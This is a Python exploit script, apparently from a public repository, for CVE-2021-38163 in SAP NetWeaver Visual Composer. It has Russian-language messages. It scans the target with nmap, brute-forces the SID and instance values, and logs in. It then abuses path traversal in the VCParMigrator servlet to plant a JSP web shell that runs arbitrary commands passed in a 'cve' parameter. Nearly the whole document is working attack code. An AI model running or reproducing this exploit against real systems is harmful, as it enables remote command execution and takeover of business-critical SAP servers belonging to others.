README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# CVE-2021-38163 / (c) [email protected]
#
# python -m pip install --upgrade urllib3
# pip uninstall requests
# pip install requests==2.21.0
import subprocess
import sys
import requests
import urllib3
import argparse
import nmap
import itertools
def get_user_agent():
user_agent = {
"User-agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0"
}
return user_agent
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--url", type=str, required=True)
parser.add_argument("--user", type=str, help="<login>", required=True)
parser.add_argument("--password", type=str, help="<password>", required=True)
parser.add_argument("--command", type=str, default="whoami", help="execute command")
parser.add_argument("--sid", type=str, default="nmap")
parser.add_argument("--ins", type=str, default="brute")
opts = parser.parse_args()
target_url = opts.url
command = opts.command
login = opts.user
password = opts.password
sid = opts.sid
ins = opts.ins
host = opts.url.find("//") + 2
nm = nmap.PortScanner()
nm.scan(
hosts=opts.url[host:],
arguments="-Pn --open -T4 -sV -p50000,50001,50004,50013,50113",
)
scan_data = nm.csv().find("SAP NetWeaver Application Server")
if scan_data > 1:
print("[+] SAP NetWeaver Application Server")
else:
print("[-] SAP NetWeaver Application Server не обнаружен")
sys.exit(0)
if sid == "nmap":
print("[*] Сканируем хост для определения SID")
host = opts.url.find("//") + 2
nm = nmap.PortScanner()
nm.scan(
hosts=opts.url[host:],
arguments="-Pn --open -T4 -sV -p22,53,111,3201,3301,3901,8101,50000,50001,50004,50013,50113",
)
scan_data = nm.csv().find("SID ")
if scan_data > 1:
sid = nm.csv()[scan_data + 4 : scan_data + 7]
print("[+] SID найден: {}".format(sid))
else:
print("[-] SID не обнаружен: укажите параметр --sid brute для перебора")
return
if ins == 'brute':
print("[*] Подбираем значение INSTANCE")
chars = "J0123"
for n in range(3, 3 + 1):
for perm in itertools.product(chars, repeat=n):
ins = "".join(perm)
if sid == 'brute':
# chars = 'SAPHNJUBERI0123456789'
chars = 'S0'
for n in range(3, 3 + 1):
for perm in itertools.product(chars, repeat=n):
sid = "".join(perm)
authorize(target_url, login, password, sid, ins, command)
else:
authorize(target_url, login, password, sid, ins, command)
return
def authorize(host, login, password, sid, res, cmd):
target_url = host
command = cmd
proxies = dict(http="http://127.0.0.1:8080")
session = requests.Session()
session.headers.update(get_user_agent())
upload_url = "{}:50000/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.VCParMigrator?parName=../../../../../../../../../../../../../../../../../../usr/sap/{}/{}/j2ee/cluster/apps/sap.com/rtmfcommunicator/servlet_jsp/rtmfCommunicator/root/html/urgent.jsp".format(
target_url, sid, res
)
execute_url = "{}:50000/rtmfCommunicator/html/urgent.jsp?cve={}".format(
target_url, command
)
response = session.get(
upload_url, allow_redirects=True, verify=False, proxies=proxies
)
j_salt = "zR1OAEXuc9RrpfMoivkPDV5E+RM="
if "j_salt" in response.text:
se_salt = response.text.rfind("j_salt") + 15
j_salt = response.text[se_salt : se_salt + 28]
j_salt = j_salt.replace("/", "%2F")
j_salt = j_salt.replace("+", "%2B")
j_salt = j_salt.replace("=", "%3D")
autorization = "login_submit=on&login_do_redirect=1&no_cert_storing=on&j_salt={}&j_username={}&j_password={}&uidPasswordLogon=Log+On".format(
j_salt, login, password
)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "{}:50000".format(target_url),
"DNT": "1",
}
response = session.post(
upload_url,
headers=headers,
proxies=proxies,
allow_redirects=True,
data=autorization,
)
headers = {
"Content-Type": "multipart/form-data; boundary=------------------------5294cc28a883d435"
}
upload_defender = (
"--------------------------5294cc28a883d435\n\r"
'Content-Disposition: form-data; name="file"\n\r'
'PKMC<%@ page import="java.util.*,java.io.*"%>\n\r'
'<% if (request.getParameter("cve") != null) {\n\r'
'Process p = Runtime.getRuntime().exec(request.getParameter("cve"));\n\r'
"OutputStream os = p.getOutputStream();\n\r"
"InputStream in = p.getInputStream();\n\r"
"DataInputStream dis = new DataInputStream(in);\n\r"
"String disr = dis.readLine();\n\r"
"while ( disr != null ) {\n\r"
"out.println(disr);\n\r"
"disr = dis.readLine();\n\r"
"}}%>\n\r\n\r"
"--------------------------5294cc28a883d435--"
)
response = session.post(
upload_url,
headers=headers,
proxies=proxies,
allow_redirects=True,
data=upload_defender,
)
response = requests.get(execute_url)
if response.status_code == 200:
print("[+] INSTANCE найден: {}".format(res))
print("[+] Выполнение команды {}\n{}".format(command, response.text))
sys.exit(0)
if __name__ == "__main__":
urllib3.disable_warnings()
sys.exit(main())